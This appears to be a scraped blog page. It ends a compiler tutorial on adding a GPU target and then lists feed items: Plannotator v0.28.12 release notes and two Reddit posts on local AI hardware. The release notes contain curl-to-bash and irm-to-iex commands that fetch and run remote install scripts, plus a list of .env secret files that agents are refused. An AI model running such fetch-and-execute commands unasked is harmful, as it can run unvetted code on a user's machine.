uv run python example.py "Alan Turing theorized that computers would one day become" --tokens 10 --fused uv run python verify.py --fused uv run python example.py "..." --tokens 10 --gpu --fusedAll three produce the same sentence. In the fused mode the forward pass is one function with no intermediate values to capture, so the verification script compares only the final logits and the selected tokens. On a laptop the fused run took roughly three times as long as the per-sublayer run, nearly all of it LLVM compiling two large modules. On the T4 the two modes took about the same time.
What the fused mode demonstrates is a property of the compiler rather than a performance result. The program that was compiled is the reference implementation, unmodified. The series spent four chapters building a frontend with its own operator set so that each piece could be examined in isolation. The same frontend, given an existing NumPy program, traces it whole.
What the Structure Bought
Look back at what didn't change to add the GPU target. The tensor language, the builder, the optimization pipeline, bufferization and every formula in
ops.pyandmodel.pyare the ones from the CPU chapters. The target is a keyword argument. The additions are a loop-to-kernel pipeline assembled from existing passes, one hand-written kernel, and a hundred lines of memory plumbing.That was possible because the pipeline preserved structure for as long as it could. Matrix multiplication stayed a named operation through fusion and bufferization, so each target could substitute an implementation. Parallel iterators stayed parallel, so a pass could map them to threads. Allocations stayed explicit, so they could be redirected to managed memory. Each decision deferred in the earlier chapters became a seam here.
The limits are equally visible. There is one reduction strategy, one tile size, one element type for the kernel, no key/value cache and no attention schedule that avoids materializing scores. A production compiler would decide each of these per shape and per device. This one makes them readable, and checks the result against the reference on real hardware.
External Resources
-
π r/LocalLLaMA Qualcomm CEO reveals AI companies want phones running 100-billion-parameter models continuously by 2028. rss
| https://x.com/firesidealpha/status/2108930562794864912 submitted by /u/Recoil42
[link] [comments]
---|--- -
π backnotprop/plannotator v0.28.12 release
Follow @plannotator on X for updates
Missed recent releases? Release | Highlights
---|---
v0.28.11 |plannotator inbox --helpprints a full guide for agents, and the plannotator.ai/inbox install prompt
v0.28.10 | The Inbox over your tailnet withplannotator inbox --tailscale, images in agent messages load, click anywhere on an attachment tile
v0.28.9 | Large Inbox messages throughplannotator inbox mcpfixed, an Inbox sidebar you can close and resize, Edit Mode in reviews of several files, the new Pi logo
v0.28.8 | The Plannotator Inbox (preview): messages, questions, files and guided reviews from your agents in one local window
v0.28.7 | Ask this session keeps your drafts as drafts, image comments survive a reload, hostname check on every server
v0.28.6 | Ask AI names the lines you selected, reorder quick labels and edit their emoji, Pi fixed-port crash fixed, OpenCode 2 subagent notice fixed
v0.28.5 | Several files in one review, theplannotatortool on Pi and OpenCode 2, decisions name the exact file, Ask this session reconnects after sleep
v0.28.4 | Comments come back after the agent edits a file, the agent can list and close its reviews, PR-description feedback no longer dropped, Pi thinking levels
v0.28.3 | Typing into your agent while it answers an Ask no longer streams into Plannotator
v0.28.2 | Question cards show wrapped choices and tables, pinned images named by their file, Done with nothing to send starts no agent turn
v0.28.1 | Ask AI from diagram comments, pinned images named for the agent, OpenCode 1 URL toasts and one reply per feedback, folder feedback sent once
v0.28.0 | Ask this session in Claude Code, Pi and OpenCode 2, Claude Code mod on by default, Pi plan review no longer blocks, first-run demoWhat's New in v0.28.12 An Inbox release, and update notices for everyone. Agents can now attach any file, and questions carry the context to answer them. Plannotator now tells you when a new version is out and can update itself in one click. Update notices and plannotator update Plannotator used to check GitHub from your browser on every page load, and its update hint showed the wrong command for Claude Code and Pi. Now the machine checks at most once a day, never while you work, and every window reads that one answer. In the Inbox , an Update button appears as soon as a new version is out. Its dialog puts Update now first, which runs the normal install script for you, and offers "Install new versions automatically". After an update, a What's new page lists what changed. In plan, annotate and code review , a small notice appears at most once per version and once every three days, with the right command for your agent. In the terminal , plannotator update installs the latest release, and plannotator update --check only reports. Turn it off in Settings, or set PLANNOTATOR_UPDATE_CHECK=0 or { "updateCheck": false } in ~/.plannotator/config.json. Off means no automatic request to GitHub at all. "Update now" only works from the computer itself. Sessions you share over your network or tailnet show the command to run instead. #1830, #1833, #1835 Attach any file to an Inbox message Agents can now attach any file you can read, from anywhere on the computer, not only Markdown, text and HTML from inside the project. Images show inline in the message, the way an email shows them, and again as tiles with thumbnails. Click one to open it beside the thread, comment on it, and mark it up. Code and scripts (.ts, .sh, .py, .swift and the rest) open highlighted, with comments on lines and ranges. PDFs and every other file are downloads. Comments on images and code reach the agent with your reply, like comments on documents. .env files are still refused, along with .env.* (except .env.example), *.env and .envrc. Agents can also pass project_path to the Inbox tool, so a session working in a subfolder files its message under the right project. #1826, #1834 Questions with context, and links to attached files The question guide every agent reads (the plannotator skill, plannotator inbox --help and the Inbox tool) now has literal rules. Agents give one to three plain sentences of context: what the choice affects, what they already know, and why they recommend what they do. They add a screenshot when the question is about something visual. You switch in cold, and a question should be answerable without opening anything else. When an agent links a file it attached (), the link opens that file beside the thread. A link to a file that isn't attached shows as "Not attached" and loads nothing. #1829 Additional Changes
- Replies reach scripted agents.
plannotator inbox mcprun from inside a Claude Code or Pi session now sends as that session, so your reply wakes the agent and its messages stay in one thread (#1831) - Oh My Pi. Our Pi extension works in Oh My Pi as an OMP plugin (
omp plugin install @plannotator/pi-extension). When Plannotator is started from OMP's terminal instead, Ask AI now says how to connect it to the session. The installer mentions it when it finds OMP (#1832, for #1814) - Question cards. The "Records a decision" tag reads clearly as off when off, and the tags in a card's top row line up (#1816)
- The install script updates the Claude Code plugin you already have, so binary and plugin stay in step. Skip it with
--skip-claude-plugin(#1824)
Install / Update
macOS / Linux:
curl -fsSL https://plannotator.ai/install.sh | bashWindows:
irm https://plannotator.ai/install.ps1 | iexClaude Code Plugin: The plugin and the
plannotatorbinary update separately, so run the install script above as well. In a terminal:claude plugin marketplace update plannotator claude plugin update plannotator@plannotatorThen restart Claude Code. Inside Claude Code, run
/plugin marketplace update plannotator, then open/pluginβ Installed β plannotator β Update now.Pi:
pi update --extensionsOpenCode: Re-run the install script above. It now also clears the OpenCode 2 plugin cache.
What's Changed
- Install scripts: update an installed Claude Code plugin by @backnotprop in #1824
- Question card: the off decision tag reads as off; the eyebrow pills align by @backnotprop in #1816
- Inbox: code files as attachments, and project_path on the plannotator_inbox tool by @backnotprop in #1826
- Questions: a little more context, and links to attached files open beside the thread by @backnotprop in #1829
- Inbox MCP: a command run inside an agent session sends as that session by @backnotprop in #1831
- Oh My Pi: point CLI sessions at the extension for Ask this session by @backnotprop in #1832
- Inbox: attach any file from anywhere; images, PDFs, files, comments on images and code by @backnotprop in #1834
- Updates: daily check,
plannotator update, the Inbox Update button, review-window notices by @backnotprop in #1830, #1833, #1835 - Repo housekeeping: the iPhone app moved to its own home, docs cleanup (#1825, #1828, #1827)
Community
- @tedtramonte reported that Ask this session was missing in Oh My Pi in #1814, which led to the OMP fix and docs.
- Inbox users who wrote in about agents that never used the Inbox, about missing context in questions, and about files that couldn't be attached: most of this release answers those notes.
Full Changelog :
v0.28.11...v0.28.12 - Replies reach scripted agents.
-
π r/LocalLLaMA Building a 4x R9700 setup for a 10 person startup rss
| Just wanted to share a build I am doing for a client. $18k. Specs: Threadripper 9970x 128gb DDR5 ECC 5600 4x AMD Radeon R9700 AI Pro 32gb(128gb total VRAM) 1600W PSU(GPUs are undervolted and under 210w each) Engine : using a fork of Radiance to serve Qwen 3.8 Next flash/27b and DSV4 Flash Results: 16 concurrent sessions Qwen 3.8 27b MXFP4 6.3-6.8k aggregate prefill tok/s
900 t/s - 80t/s aggregate decode(range: 4k - 128k context each) Qwen 3.8 Next flash int4fp8 48K/user | 6,880 tok/s | 538.5 tok/s aggregate prefill/decode 128k/user | 3,050 tok/s | 365 tok/s aggreate prefill/decode BF16 kv for all. submitted by /u/sayamss
[link] [comments]
---|---
-